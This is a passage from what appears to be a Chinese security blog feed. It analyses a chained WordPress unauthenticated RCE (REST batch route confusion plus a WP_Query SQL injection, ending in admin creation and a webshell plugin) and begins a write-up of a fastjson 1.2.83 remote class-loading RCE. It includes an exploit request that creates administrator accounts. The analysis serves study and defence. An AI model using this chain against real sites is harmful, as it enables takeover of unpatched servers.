$single_request-&gt;sanitize_params();   </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>而通过这个漏洞，match获取和实际的参数不一致，在校验参数的时候就无法对应获取参数内容做检查，就绕过了参数过滤和限制。</p><p>总的来说，<strong>CVE-2026-63030</strong>，REST API的路由混淆其实较真的话只能算一个bug，因为它并不能直接造成危害，但却是难得的漏洞入口。</p><h1 id="CVE-2026-60137：WP-Query-SQL-注入"><a href="#CVE-2026-60137：WP-Query-SQL-注入" class="headerlink" title="CVE-2026-60137：WP_Query SQL 注入"></a>CVE-2026-60137：WP_Query SQL 注入</h1><p><code>WP_Query</code> 的 <code>author__not_in</code> 参数</p><p>如果为数组，则会遍历每个元素，并使用absint做处理，转为整数。</p><p>如果为字符串，则会直接被拼接到SQL语句当中</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//wp-includes/class-wp-query.php  2399–2405</span></span><br><span class="line"><span class="keyword">if</span> ( ! empty( $query_vars[<span class="string">'author__not_in'</span>] ) ) &#123;</span><br><span class="line">    <span class="keyword">if</span> ( is_array( $query_vars[<span class="string">'author__not_in'</span>] ) ) &#123;</span><br><span class="line">        $query_vars[<span class="string">'author__not_in'</span>] = array_unique( array_map( <span class="string">'absint'</span>, $query_vars[<span class="string">'author__not_in'</span>] ) );</span><br><span class="line">        sort( $query_vars[<span class="string">'author__not_in'</span>] );</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// <span class="doctag">BUG:</span> 当值为标量（非数组）时，跳过 absint() 消毒，直接拼接进 SQL</span></span><br><span class="line">    $author__not_in = implode( <span class="string">','</span>, (array) $query_vars[<span class="string">'author__not_in'</span>] );</span><br><span class="line">    $where         .= <span class="string">" AND &#123;$wpdb-&gt;posts&#125;.post_author NOT IN ($author__not_in) "</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个漏洞非常简单粗暴，但是为什么无法利用呢？</p><p>因为你直接请求<code>WP_Query</code>注入，Rest请求走到参数检查的位置会触发检查和过滤，这也是我在开篇提到过的，为什么wp很难出高危漏洞，就是因为wp的编码习惯和全局安全处理做的非常好。</p><p>就比如这里正常的请求逻辑中，我们需要注入的参数<code>author__not_in</code>，在参数的类型定义中要求必须是数组，也就无法绕过后续的逻辑</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// class-wp-rest-request.php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// schema 定义:</span></span><br><span class="line"></span><br><span class="line"><span class="string">'author_exclude'</span> =&gt; [</span><br><span class="line">    <span class="string">'description'</span> =&gt; <span class="string">'排除指定作者的文章'</span>,</span><br><span class="line">    <span class="string">'type'</span>        =&gt; <span class="string">'array'</span>,          <span class="comment">// ← 要求是数组</span></span><br><span class="line">    <span class="string">'items'</span>       =&gt; [</span><br><span class="line">        <span class="string">'type'</span> =&gt; <span class="string">'integer'</span>,           <span class="comment">// ← 每项要求是整数</span></span><br><span class="line">    ],</span><br><span class="line">    <span class="string">'default'</span>     =&gt; [],</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>那么我们必须使用前面的路由混淆漏洞，避免对于参数类型检查，就可以成功实现字符串的拼接输入。</p><h1 id="接下来呢？"><a href="#接下来呢？" class="headerlink" title="接下来呢？"></a>接下来呢？</h1><p>前面说了，路由混淆漏洞本质上来说其实算一个bug，毕竟他不能提高你的权限。</p><p>绕过了参数检查之后，顺利触发了WP_Query的SQL注入漏洞。</p><p>但是问题依旧没有完全解决，SQL注入如何让我们获取超级管理员权限呢？毕竟union不能内联insert插入数据，仅仅靠查询语句无法真正进入后台。那么就需要一些更复杂的Wordpress特性了。</p><ul><li>Wordpress缓存污染</li></ul><p><code>WP_Query</code> 将数据库查询结果行转换为 <code>WP_Post</code> 对象，并触发 WordPress 的请求本地对象缓存机制。</p><p>也就是说，其实我们并不是需要通过SQL注入来获取数据的什么内容。</p><p>而是通过SQL注入来控制数据库的返回</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// WP_Query 执行完 SQL 后</span></span><br><span class="line">$results = $wpdb-&gt;get_results( $sql );  <span class="comment">// SQL 注入影响这里返回什么</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 把结果变成 WP_Post 对象，存入内存缓存</span></span><br><span class="line">foreach ( $results <span class="keyword">as</span> $row ) &#123;</span><br><span class="line">    $post = <span class="keyword">new</span> WP_Post( $row );</span><br><span class="line">    wp_cache_set( $post-&gt;ID, $post, <span class="string">'posts'</span> );  <span class="comment">// ← 写入内存缓存</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>但是将内容写入到缓存，又有什么用呢？</p><ul><li>oEmbed Write Bridge</li></ul><p>oEmbed 是一个<strong>嵌入内容的标准协议</strong>。当你在 WordPress 编辑器里粘贴一个链接，它自动变成可预览的嵌入卡片。</p><p>在编辑文章的时候，当用户输入链接，WordPress 调用 oEmbed API 获取元数据，然后会把对应的内容存入内存，这样下次访问就不用在请求了，而是访问缓存读取对应的内容。</p><p>那听起来oEmbed应该是一次性请求？</p><p>实际上，缓存会过期，就好像你嵌入的网站内容标题封面都会更换，所以oEmbed本身支持缓存刷新机制。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// wp-includes/class-wp-embed.php</span></span><br><span class="line"><span class="comment">// 第 263-267 行：get_post() 从缓存返回被污染的对象</span></span><br><span class="line">$cached_post = get_post( $cached_post_id ); <span class="comment">// 可能来自被污染的对象缓存</span></span><br><span class="line">$cache      = $cached_post-&gt;post_content;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 第 332-339 行：wp_update_post() 将稀疏更新与被污染的"原始值"合并</span></span><br><span class="line"><span class="keyword">if</span> ( $cached_post_id ) &#123;</span><br><span class="line">    wp_update_post(</span><br><span class="line">        wp_slash( array(</span><br><span class="line">            <span class="string">'ID'</span>           =&gt; $cached_post_id,</span><br><span class="line">            <span class="string">'post_content'</span> =&gt; $html,  <span class="comment">// 仅提交 ID + content，其他字段从被污染缓存合并</span></span><br><span class="line">        ))</span><br><span class="line">    );</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>通过这个机制，内存中的数据被二次写入数据库中。</p><p>虽然但是这种写入并不是说我可以向数据库的任何表写入任何数据，他还是会写入到<code>wp_posts</code>表中，无法直接控制user表。</p><p>这涉及到了wp的另一个机制。</p><ul><li>Customizer 临时切换管理员身份</li></ul><p>Customizer 在保存设置时临时将当前用户切换为 changeset 的原始创建者。如果 changeset 是由管理员创建的，当前请求将临时获得管理员身份。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// wp-includes/class-wp-customize-manager.php</span></span><br><span class="line">$original_user_id = get_current_user_id();</span><br><span class="line">foreach ( $changeset_setting_ids <span class="keyword">as</span> $setting_id ) &#123;</span><br><span class="line">    $setting = $<span class="keyword">this</span>-&gt;get_setting( $setting_id );</span><br><span class="line">    <span class="keyword">if</span> ( $setting ) &#123;</span><br><span class="line">        <span class="comment">// 临时切换到 changeset 的原始作者（可能是管理员）</span></span><br><span class="line">        <span class="keyword">if</span> ( isset( $setting_user_ids[ $setting_id ] ) ) &#123;</span><br><span class="line">            wp_set_current_user( $setting_user_ids[ $setting_id ] );</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            wp_set_current_user( $original_user_id );</span><br><span class="line">        &#125;</span><br><span class="line">        $setting-&gt;save(); <span class="comment">// 此处可触发嵌套的 REST dispatch</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">wp_set_current_user( $original_user_id );</span><br></pre></td></tr></table></figure><p>正常来说，这是一个正常的功能，因为changeset根本就没有控制创建者的方式，为了统一权限，内部请求本身会遇到权限限制，那就必须加入权限的切换，否则正常功能无法运行。</p><p>但其实这里即便是临时切换管理员，我们也无法做任何控制，关键在于下一步。</p><p>此时触发文章保存，除了以上的刷新以外，就会再次触发<code>parse_request</code>的hook，再次发起REST请求解析（前面说过这本身就是批量请求这个接口的原场景）</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">add_action( <span class="string">'parse_request'</span>, <span class="string">'rest_api_loaded'</span> );</span><br></pre></td></tr></table></figure><p>并且在后续的请求中，复用了刚才的状态，也就是被设置为管理员权限的batch</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">is_dispatching</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> (bool) $<span class="keyword">this</span>-&gt;dispatching_requests;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>再次触发REST之后，会重新按照请求再次解析一遍依次执行，但这个时候你已经是管理员权限了，所以可以执行管理员的请求。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">重入的 serve_request()</span><br><span class="line">  → dispatch()</span><br><span class="line">    → match_request_to_handler(<span class="string">"/batch/v1"</span>) → batch handler</span><br><span class="line">    → serve_batch_request_v1() ← 整个外层 batch 重新跑</span><br><span class="line">        → 外层[<span class="number">0</span>] <span class="string">"http://:"</span> → ERROR → 跳过</span><br><span class="line">        → 外层[<span class="number">1</span>] /wp/v2/posts → desync → batch handler</span><br><span class="line">            → 读 body.requests → 内层 batch 重新跑</span><br><span class="line">                → 内层[<span class="number">0</span>] <span class="string">"http://:"</span> → ERROR → 跳过</span><br><span class="line">                → 内层[<span class="number">1</span>] /wp/v2/widgets → SQL 注入（这次无所谓）</span><br><span class="line">                → 内层[<span class="number">2</span>] /wp/v2/posts → 触发 post 处理</span><br><span class="line">                → 内层[<span class="number">3</span>] /wp/v2/users → 管理员身份 → <span class="number">201</span> ✅ 创建管理员！</span><br><span class="line">                → 内层[<span class="number">4</span>] /wp/v2/users → 管理员身份 → <span class="number">201</span> ✅</span><br></pre></td></tr></table></figure><p>在7.0.2中，当dispatch激活，加载器会提前返回，重入递归不会再进行下去，漏洞就无法利用了</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// WordPress 7.0.2 — simplified.</span></span><br><span class="line"><span class="keyword">if</span> ( $<span class="keyword">this</span>-&gt;is_dispatching() ) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>通过这种方式，我们就可以实现管理员权限的任意REST API调用。</p><p>那最终我们在调用创建管理员的API创建超级管理员，后续利用就顺理成章了。</p><h1 id="整个流程"><a href="#整个流程" class="headerlink" title="整个流程"></a>整个流程</h1><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line">攻击者（无需认证）</span><br><span class="line">    │</span><br><span class="line">    ▼</span><br><span class="line">[Step <span class="number">1</span>] 发送 REST 批处理请求</span><br><span class="line">         POST /wp-json/batch/v1</span><br><span class="line">         包含<span class="number">3</span>个子请求：错误请求 + oEmbed + 恶意查询</span><br><span class="line">    │</span><br><span class="line">    ▼</span><br><span class="line">[Step <span class="number">2</span>] Batch Handler 去同步化（CVE<span class="number">-2026</span><span class="number">-63030</span>）</span><br><span class="line">         $requests[<span class="number">0</span>] 错误 → 跳过但 $matches 未补位</span><br><span class="line">         索引偏移导致路由混乱</span><br><span class="line">    │</span><br><span class="line">    ▼</span><br><span class="line">[Step <span class="number">3</span>] 恶意标量值绕过消毒</span><br><span class="line">         路由混乱将 unsanitized 标量送入 WP_Query</span><br><span class="line">         author__not_in 参数未经 absint() 处理</span><br><span class="line">    │</span><br><span class="line">    ▼</span><br><span class="line">[Step <span class="number">4</span>] SQL 注入（CVE<span class="number">-2026</span><span class="number">-60137</span>）</span><br><span class="line">         标量值直接拼接进 SQL 语句</span><br><span class="line">         构造 UNION SELECT 注入恶意数据</span><br><span class="line">    │</span><br><span class="line">    ▼</span><br><span class="line">[Step <span class="number">5</span>] 污染 WP_Post 内存缓存</span><br><span class="line">         SQL 注入结果被缓存为 WP_Post 对象</span><br><span class="line">         攻击者控制 post_content 等字段</span><br><span class="line">    │</span><br><span class="line">    ▼</span><br><span class="line">[Step <span class="number">6</span>] oEmbed 刷新 + wp_update_post() 持久化</span><br><span class="line">         oEmbed 处理器从缓存读取被污染的对象</span><br><span class="line">         wp_update_post() 仅提交 ID + content</span><br><span class="line">         其他字段从被污染的缓存<span class="string">"原始值"</span>合并</span><br><span class="line">         污染数据写入数据库</span><br><span class="line">    │</span><br><span class="line">    ▼</span><br><span class="line">[Step <span class="number">7</span>] 层级修复（Hierarchy Repair）</span><br><span class="line">         wp_update_post() 触发文章层级关系修复</span><br><span class="line">         产生更多稀疏更新调用，扩大污染范围</span><br><span class="line">    │</span><br><span class="line">    ▼</span><br><span class="line">[Step <span class="number">8</span>] Customizer 临时切换管理员身份</span><br><span class="line">         <span class="class"><span class="keyword">class</span>-<span class="title">wp</span>-<span class="title">customize</span>-<span class="title">manager</span>.<span class="title">php</span> 第 3569-3589 行</span></span><br><span class="line"><span class="class">         <span class="title">wp_set_current_user</span>() 切换到 <span class="title">changeset</span> 作者（管理员）</span></span><br><span class="line"><span class="class">    │</span></span><br><span class="line"><span class="class">    ▼</span></span><br><span class="line">[Step 9] 动态 Hook 碰撞 → REST 重入</span><br><span class="line">         Customizer 的 setting-&gt;save() 触发 parse_request hook</span><br><span class="line">         嵌套的 REST dispatch 继承管理员身份</span><br><span class="line">         WP_REST_Server::is_dispatching() 未阻断重入</span><br><span class="line">    │</span><br><span class="line">    ▼</span><br><span class="line">[Step <span class="number">10</span>] 以管理员身份创建管理员账户</span><br><span class="line">          嵌套 REST dispatch 使用管理员身份</span><br><span class="line">          调用 user creation API 创建新管理员</span><br><span class="line">    │</span><br><span class="line">    ▼</span><br><span class="line">[Step <span class="number">11</span>] 安装恶意插件 → 任意代码执行</span><br><span class="line">          攻击者使用新管理员账户登录</span><br><span class="line">          上传包含 PHP webshell 的插件</span><br><span class="line">          实现完整的远程代码执行</span><br></pre></td></tr></table></figure><p>最后整个利用请求大概长这样</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">POST /?rest_route=<span class="regexp">/batch/</span>v1 HTTP/<span class="number">1.1</span></span><br><span class="line">Content-Type: application/json</span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">  <span class="string">"requests"</span>: [</span><br><span class="line">    &#123;<span class="string">"method"</span>: <span class="string">"POST"</span>, <span class="string">"path"</span>: <span class="string">"http://:"</span>&#125;,</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="string">"method"</span>: <span class="string">"POST"</span>,</span><br><span class="line">      <span class="string">"path"</span>: <span class="string">"/wp/v2/posts"</span>,</span><br><span class="line">      <span class="string">"body"</span>: &#123;</span><br><span class="line">        <span class="string">"requests"</span>: [</span><br><span class="line">          &#123;<span class="string">"method"</span>: <span class="string">"GET"</span>, <span class="string">"path"</span>: <span class="string">"http://:"</span>&#125;,</span><br><span class="line">          &#123;<span class="string">"method"</span>: <span class="string">"GET"</span>, <span class="string">"path"</span>: <span class="string">"/wp/v2/widgets?author_exclude=1)+AND+1=0+UNION+ALL+SELECT+..."</span>&#125;,</span><br><span class="line">          &#123;<span class="string">"method"</span>: <span class="string">"GET"</span>, <span class="string">"path"</span>: <span class="string">"/wp/v2/posts"</span>&#125;,</span><br><span class="line">          &#123;<span class="string">"method"</span>: <span class="string">"POST"</span>, <span class="string">"path"</span>: <span class="string">"/wp/v2/users"</span>, <span class="string">"body"</span>: &#123;<span class="string">"username"</span>:<span class="string">"xxx"</span>,<span class="string">"roles"</span>:[<span class="string">"administrator"</span>]&#125;&#125;,</span><br><span class="line">          &#123;<span class="string">"method"</span>: <span class="string">"POST"</span>, <span class="string">"path"</span>: <span class="string">"/wp/v2/users"</span>, <span class="string">"body"</span>: &#123;<span class="string">"username"</span>:<span class="string">"xxx"</span>,<span class="string">"roles"</span>:[<span class="string">"administrator"</span>]&#125;&#125;</span><br><span class="line">        ]</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    &#123;<span class="string">"method"</span>: <span class="string">"POST"</span>, <span class="string">"path"</span>: <span class="string">"/batch/v1"</span>&#125;</span><br><span class="line">  ]</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其实我觉得这个漏洞最精巧的点有两个</p><p>第一是在SQL注入没有太多价值的情况下，通过控制SQL返回来完成后续利用条件，这个思路很妙，以前遇到过但是大多数都是类似于二次注入的场景。</p><p>第二是非常巧妙地通过REST重入的漏洞来巧妙的实现提权，实话讲完全没想到这里有个重入问题，因为如果不是重入根本无法实现提权，这个权限分级做的非常死。</p><p>在两个非常巧妙的漏洞结合下，实现了几乎最不可能的wp漏洞利用，这种超强的思维拓展，应该算是ai非常优秀的一个场景了</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;2026年了，在AI时代下总感觉什么都有可能，但是看到Wordpress居然能有原生未授权RCE还是感觉不可思议。Wordpress算是我曾经深度研究过的php源码之一，虽然wp架构复杂但是开发习惯很好，封装也比较严格，尤其是对权限的分割都做得很好，在5.0之后我一直认为wp不太可能出未授权的大漏洞了。&lt;/p&gt;
&lt;p&gt;但很快，这个漏洞的挖掘者通过两个漏洞的组合就实现了这不可思议的一幕。&lt;/p&gt;
&lt;p&gt;据说作者用AI完成了这个漏洞挖掘，并获得了50w刀的赏金（我没有求证，听说）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://bugbunny.ai/blog/wordpress-7-0-2-rce-deep-dive#three-fixes-for-three-broken-assumptions&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://bugbunny.ai/blog/wordpress-7-0-2-rce-deep-dive#three-fixes-for-three-broken-assumptions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;影响版本：WordPress 6.9.0-6.9.4、7.0.0-7.0.1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;接下来我们就古法分析一下这个漏洞具体是怎么回事。&lt;/p&gt;</summary>
    
    
    
    
    <category term="Wordpress" scheme="https://lorexxar.cn/tags/Wordpress/"/>
    
  </entry>
  
  <entry>
    <title>2026年了，核弹还是fastjson，fastjson1.2.83 RCE是怎么回事？</title>
    <link href="https://lorexxar.cn/2026/07/21/fs1-2-83rce/"/>
    <id>https://lorexxar.cn/2026/07/21/fs1-2-83rce/</id>
    <published>2026-07-21T10:29:15.000Z</published>
    <updated>2026-07-22T08:04:10.461Z</updated>
    
    <content type="html"><![CDATA[<p>7月19日，推上的一名安全研究员声称，他发现了一个在fastjson 1.2.83版本中无需gadget的RCE漏洞。一时间激起千帆浪。<br><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221545781.png" alt="img"></p><p>Fastjson虽然已经停止维护1版本，但是1版本的Fj依旧是互联网上应用最多的Java JSON库之一，虽然1.2.83没有在维护，但是在长期和fastjson对抗的时间里，83版本仅可以基于expectClass和第三方库构成的gadget做的极其有限的攻击利用，几乎无法RCE，所以很多厂家没有选择更新到FJ2增加不确定性。</p><p><strong>在过去的1天多时间内，基于作者的部分信息，大家正在逐渐探索出了漏洞的真相</strong>。</p><p>在7月22日，原作者公开了他们的研究文档<a href="https://fearsoff.org/cn/research/fastjson-1-2-83-rce" target="_blank" rel="noopener">https://fearsoff.org/cn/research/fastjson-1-2-83-rce</a></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221545358.png" alt="img"></p><a id="more"></a><h1 id="关于漏洞起始"><a href="#关于漏洞起始" class="headerlink" title="关于漏洞起始"></a>关于漏洞起始</h1><p>在这篇推文激起了外网的讨论之后，原作者逐渐公布了一些关于漏洞的信息</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221545026.png" alt="img"></p><ul><li>该漏洞影响fastjson 1.2.68 -&gt; 1.2.83</li><li>与autoType无关，只有启用SafeMode或者迁移到Fastjosn 2.x来解决</li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221545713.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221545797.png" alt="img"></p><ul><li>不需要指定expectClass，不需要控制第二个参数，也不是走我们以往基于白名单类的绕过途径</li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221546290.png" alt="img"></p><ul><li>这个漏洞至少影响互联网上最常见的3个版本，8，17，21</li></ul><p>在这样的基础上，很多安全研究者开启了AI时代最有效的推进分析，真相被一点点剥开水面</p><h1 id="抽丝剥茧"><a href="#抽丝剥茧" class="headerlink" title="抽丝剥茧"></a>抽丝剥茧</h1><p>事情破局的第一步很快到来，github上有人直接分享了该漏洞的poc（这个poc已经404了），由于我已经没有截图了，甚至这个poc的推送作者是Codex，非常搞笑</p><ul><li><a href="https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC" target="_blank" rel="noopener">https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC</a></li></ul><p>在这片文章里提到了一个很有趣的漏洞点</p><p><strong>Fastjson可以通过 Spring Boot FatJar 的 LaunchedURLClassLoader 来远程加载带有</strong><code>@JSONType</code><strong>注解的类，最终远程代码执行。无论是否开启autoType。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202607221546982.png" alt="img"></p><p>在 Spring Boot FatJar 环境中时，<strong>LaunchedURLClassLoader 会将类资源路径解释为 jar:http:// URL</strong>，从而触发远程 HTTP 请求下载恶意 JAR，最终实现远程类加载和代码执行。</p><ul><li>除了fastjson，还要求有springboot</li><li><strong>应用以 Spring Boot FatJar 方式运行（使用 LaunchedURLClassLoader）</strong></li><li>JDK 版本为 8</li></ul><p>以下是Poc原文给出的依赖</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">&lt;properties&gt;</span><br><span class="line">    &lt;project.build.sourceEncoding&gt;UTF<span class="number">-8</span>&lt;<span class="regexp">/project.build.sourceEncoding&gt;</span></span><br><span class="line"><span class="regexp">    &lt;maven.compiler.source&gt;1.8&lt;/m</span>aven.compiler.source&gt;</span><br><span class="line">    &lt;maven.compiler.target&gt;<span class="number">1.8</span>&lt;<span class="regexp">/maven.compiler.target&gt;</span></span><br><span class="line"><span class="regexp">    &lt;fastjson.version&gt;1.2.83&lt;/</span>fastjson.version&gt;</span><br><span class="line">    &lt;spring.boot.loader.version&gt;<span class="number">2.7</span><span class="number">.18</span>&lt;<span class="regexp">/spring.boot.loader.version&gt;</span></span><br><span class="line"><span class="regexp">    &lt;asm.version&gt;9.6&lt;/</span>asm.version&gt;</span><br><span class="line">&lt;<span class="regexp">/properties&gt;</span></span><br><span class="line"><span class="regexp">&lt;dependencies&gt;</span></span><br><span class="line"><span class="regexp">    &lt;dependency&gt;</span></span><br><span class="line"><span class="regexp">        &lt;groupId&gt;com.alibaba&lt;/g</span>roupId&gt;</span><br><span class="line">        &lt;artifactId&gt;fastjson&lt;<span class="regexp">/artifactId&gt;</span></span><br><span class="line"><span class="regexp">        &lt;version&gt;$&#123;fastjson.version&#125;&lt;/</span>version&gt;</span><br><span class="line">    &lt;<span class="regexp">/dependency&gt;</span></span><br><span class="line"><span class="regexp">    &lt;dependency&gt;</span></span><br><span class="line"><span class="regexp">        &lt;groupId&gt;org.springframework.boot&lt;/g</span>roupId&gt;</span><br><span class="line">        &lt;artifactId&gt;spring-boot-loader&lt;<span class="regexp">/artifactId&gt;</span></span><br><span class="line"><span class="regexp">        &lt;version&gt;$&#123;spring.boot.loader.version&#125;&lt;/</span>version&gt;</span><br><span class="line">    &lt;<span class="regexp">/dependency&gt;</span></span><br><span class="line"><span class="regexp">    &lt;dependency&gt;</span></span><br><span class="line"><span class="regexp">        &lt;groupId&gt;org.ow2.asm&lt;/g</span>roupId&gt;</span><br><span class="line">        &lt;artifactId&gt;asm&lt;<span class="regexp">/artifactId&gt;</span></span><br><span class="line"><span class="regexp">        &lt;version&gt;$&#123;asm.version&#125;&lt;/</span>version&gt;</span><br><span class="line">    &lt;<span class="regexp">/dependency&gt;</span></span><br><span class="line"><span class="regexp">&lt;/</span>dependencies&gt;</span><br></pre></td></tr></table></figure><p>漏洞的实际利用很简单</p><p>在ParserConfig中，有这样一段代码</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ParserConfig.java 第 1479-1503 行</span></span><br><span class="line">boolean jsonType = <span class="literal">false</span>;</span><br><span class="line">InputStream is = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="comment">// 关键：把类名中的 . 替换成 /，拼成资源路径</span></span><br><span class="line">    <span class="built_in">String</span> resource = typeName.replace(<span class="string">'.'</span>, <span class="string">'/'</span>) + <span class="string">".class"</span>;</span><br><span class="line">    <span class="keyword">if</span> (defaultClassLoader != <span class="literal">null</span>) &#123;</span><br><span class="line">        is = 